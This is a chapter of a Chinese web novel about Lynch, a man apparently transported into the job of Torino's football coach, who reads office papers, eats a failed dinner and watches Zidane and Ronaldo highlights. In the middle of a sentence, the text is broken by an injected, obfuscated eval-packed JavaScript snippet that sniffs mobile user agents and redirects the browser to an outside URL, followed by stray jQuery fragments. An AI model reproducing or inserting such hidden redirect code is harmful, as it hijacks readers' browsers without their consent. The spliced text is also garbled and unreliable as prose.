林奇在走廊里站了一会儿，低头看着自己裤子上那两道粉笔灰印子，然后用右手拍了拍，白灰扬起来，在从窗户照进来的午后的光线里飘回裤子上。
现在有两道更大的白印子了。
他沿着走廊往回走，经过茶水间的时候，咖啡机正发出临终叹息般的排气声，蒸汽从顶端的缝隙里挤出来，经过复印机的时候，17张被遗忘的A4纸躺在出纸口，上面印着同一行字——大概是因为某个倒霉蛋点了打印17次，每次都以为没点上……经过男厕所的时候，他听见里面有人在小便的同时吹口哨。
阿尔贝·奥坦维亚尼的办公室在走廊的另一头。
林奇也不知道现实中足球教练的工作是什么，但是这并不妨碍他去办公室当一会鸵鸟，于是他又继续坐回椅子上……他开始看文件。
一个坐在办公室里不知道该干什么的人，看到桌上有一叠文件，自然而然就会开始看。
嗯，好奇乃是人类的天性。
文件倒是挺多，比如球员伤病报告、青训营的月度评估、联赛赛程表，还有一些报纸，伤病报告林奇之前在游戏里面就看到了，只不过这里要更详细一些；青训营被林奇自动划为小妖，他拎过来评估好好地看了一遍，发现这种批阅奏折样的行为还是有点不适合他。
他认为自己最适合看游戏里的数据，满值20，数值无论是多是少都显示出来，那多方便啊。
但是现实和游戏总归不一样嘛。
联赛的赛程他倒是很熟悉，第二场对维罗纳的比赛还没开踢，然后就是第三轮客场对那不勒斯，第四轮主场对帕尔马，第五轮客场对AC米兰。
前五场比赛里面每一个都不能算是弱旅，这就是意大利的比赛啊！
不容小觑！！！
以及，林奇想看又不想看的报纸。
被折成三折，压在文件堆最下面。
林奇伸出来手，把报纸翻出来，露出了痛苦面具。
果然是他接受采访时的照片，阿尔贝教练坐在桌子后面，右眼肿成一条缝，鼻梁上的纱布白得刺眼，嘴巴正在说某个单词的过程中被定格，照片旁边的配文用了一个意大利语单词——“Eroico”，英勇的。
下面还有一行小字，他读了几遍才看懂：“主教练阿尔贝在赛后发布会上用英语回答了记者提问，展现了令人敬佩的职业精神。”
好吧，记者们写的这则新闻同样显示出令人敬佩的职业精神，林奇不知道自己该感到荣幸还是该替意大利体育新闻界感到悲哀。他决定两样都来一点。
剩下的文件他看不进去了，阿尔贝的办公室有一个窗户，窗外是对面公寓楼的墙壁，墙壁上有一根排水管，排水管上停着一只鸽子。鸽子每隔几秒钟就啄一下排水管的铁皮，啄几分钟就有另一只鸽子来替代它继续啄，林奇大概看完了两只鸽子的完整轮班，天啊，下班，什么时候才能下班？
无聊的教练像是检查阿尔贝的家一样检查他的办公室，先从阿尔贝的抽屉里翻出来了几支笔，一叠便签纸，工资条，一盒回形针，一瓶已经干掉的修正液，然后从第二个抽屉里翻出来了工资条……这个他在游戏里面也是知道的。基础周薪2,500欧元，然后出场费、进球奖金、不失球奖金、签约费上个月暂且都是零，这很正常，毕竟上个月没有比赛。
这个钱可以花的吧？
2500欧合人民币多少啊，花不完吧？
林奇有点听不到外面的声音了，鸵鸟暂且把头抬起来，他觉得自己应该昂着头离开办公室，但是他还是暂时忍耐，等待吧，再等一会儿，天完全黑了就回家。
嘶，怎么回家呢？
这又是一个问题，可是林奇强迫自己先不去想那些，大不了在这里打地铺说不定就又醒了呢？自己本来就是想补觉，结果补到都灵来了——他还没骂街呢！生活如此折磨他！老天是举着四倍镜想给他来一枪吗？
来点痛快的吧……鸽子都下班了。
林奇听到外面几乎没有声音了才关灯出去，结果一出去就迷路，在楼里绕了好久才看到侧门——好消息！助教还没离开！他刚要钻进轿车里呢！
而助教先看到了教练！这避免了教练打招呼的困难！
“教练！”安东尼奥尼朝他挥手，“我正想你可能还没走，办公室的灯关着，我以为你走了。”
林奇诚实地说：“ILOST.”（我丢了）
他成功组织了一个句子，成功地让助教升起了怜悯之情：“天黑了，是的，走吧，我送你。”
上了车之后林奇有点脸红，他想问助教有关于会议的事情，但是又觉得自己过于丢脸，想了半天还是没提，最后还是安东尼奥尼先说起来：
“大家都觉得你今天的战术会开的不错呢。”
真假？林奇盯着光头。
“真的，”助教说，“巴罗尼说这是他来都灵以后开过的最好的战术会。”
林奇试图判断这是翻译、奉承，还是某种意大利式的反话。
如果这就是最好的战术会，那你们之前在忍受怎样的教练啊……
林奇咳了两声：“good.”
安东尼奥尼笑着说：“明天的比赛，他们会准备好的，教练，干的不错！”
回到家之后林奇才后知后觉自己肚子里面没有本，应该在外面吃点东西再回来的，可是没有办法，就只能打开冰箱——然后冰箱开始嗡嗡地颤抖，整个冰箱外壳都跟着抖——林奇觉得这冰箱和自己的生活一样，处于一种介于运转和认命之间的状态。
冰箱里面东西其实挺多的，可是林奇对这些外国的食物有点苦手，最后拿出来了意面和金枪鱼罐头，他觉得自己只能搞好这两种食物。煮面，然后把冰的金枪鱼罐头浇上去。
林奇呕出来了。
可怜的教练把面条倒进垃圾桶，连带着那个金枪鱼罐头——这才是始作俑者。
痛苦，太痛苦了。
他不应该把冷的金枪鱼直接扣在热面上，这甚至不是一个烹饪错误，这是一个生存常识错
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485109|201966||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
误。
金枪鱼罐头不应该直接从冰箱里拿出来就吃，任何从冰箱里拿出来的东西都不应该直接吃。
我难道进化成弱智了吗？林奇想：好吧，我还是饿一晚上吧，最近女士们之间好像时兴这个，减肥什么的。
他去客厅沙发上坐下打开电视，一打开就是足球节目，屏幕上是上一场的比赛集锦，不是都灵的比赛，是其他场次。
尤文图斯对布雷西亚。
镜头给了齐达内一个特写——他正在用外脚背卸下一个从空中落下来的长传球，球碰到他脚背的声音被现场收音收得很清楚，一声轻响，球落在他脚下，几乎没有任何弹跳，然后他传球了，没有看人，或者说他看了，但看的方向和传的方向完全相反。
球落在跑动中的队友脚下，像是两个人之间拉了一根看不见的线，球就是沿着那根线滑过去的。
超级无敌精准。
林奇把遥控器放在膝盖上，双手交叉在脑后。
屏幕上，齐达内又拿球了。
这一次他做了一个马赛回旋——左脚踩住球，身体转一圈，右脚把球拉走。防守他的人站在原地，重心还留在齐达内转圈之前的位置，像一个被舞伴突然撒手的舞者。
看台上爆发出欢呼声，意大利人在欣赏。
然后是集锦切换，国际米兰对莱切，罗纳尔多拿球。林奇只在游戏里见过罗纳尔多的属性页面——20的速度，19的盘带，18的射门，17的镇定。
但此刻屏幕上的罗纳尔多不是数字。
他从中圈附近拿球，第一个防守球员贴上来，他往左沉了一下肩，对方的重心跟着往左移了五厘米，他把球往右一拨，人从另一侧过去了。
第二个防守球员从侧面铲过来，他在铲球到达之前的那个瞬间用脚尖把球捅出去，自己跳起来，越过那条横在草皮上的腿，落地时身体晃了一下但球还在脚下。
第三个防守球员正面封堵，他没有减速，反而加快了频率——球在两只脚之间来回弹了三四下，快得看不清顺序——然后他消失了。从防守球员的左侧，带着球一起消失，出现在他身后，像变魔术的人从帽子里掏出兔子。
解说员的调门越来越高，看台上站起来的人越来越多，手臂举起来，围巾甩起来，嘴巴张开，声音汇成一片轰鸣。
罗纳尔多射门了，脚内侧推了一个角度，球贴着草皮滚向门将的左手边，这并不刁钻，但是门将的重心已经在他之前那串假动作里被拆得七零八落——门将的左脚往右挪了三厘米，右脚还钉在原地，身体打开的角度大了，像一个衣柜的门被拉开了半扇。
球从那半扇门的缝隙里滚进去，撞在边网上，转了几圈，停下来。
进球的动作简洁到近乎懒散，像是整个突破已经耗尽了他所有的表演欲望，最后的终结只是一句随口带过的句号。
林奇只感到了无穷的羡慕。
嗯！至少我们也有进球啊！
明天就有进球了……哪怕没有这么华丽！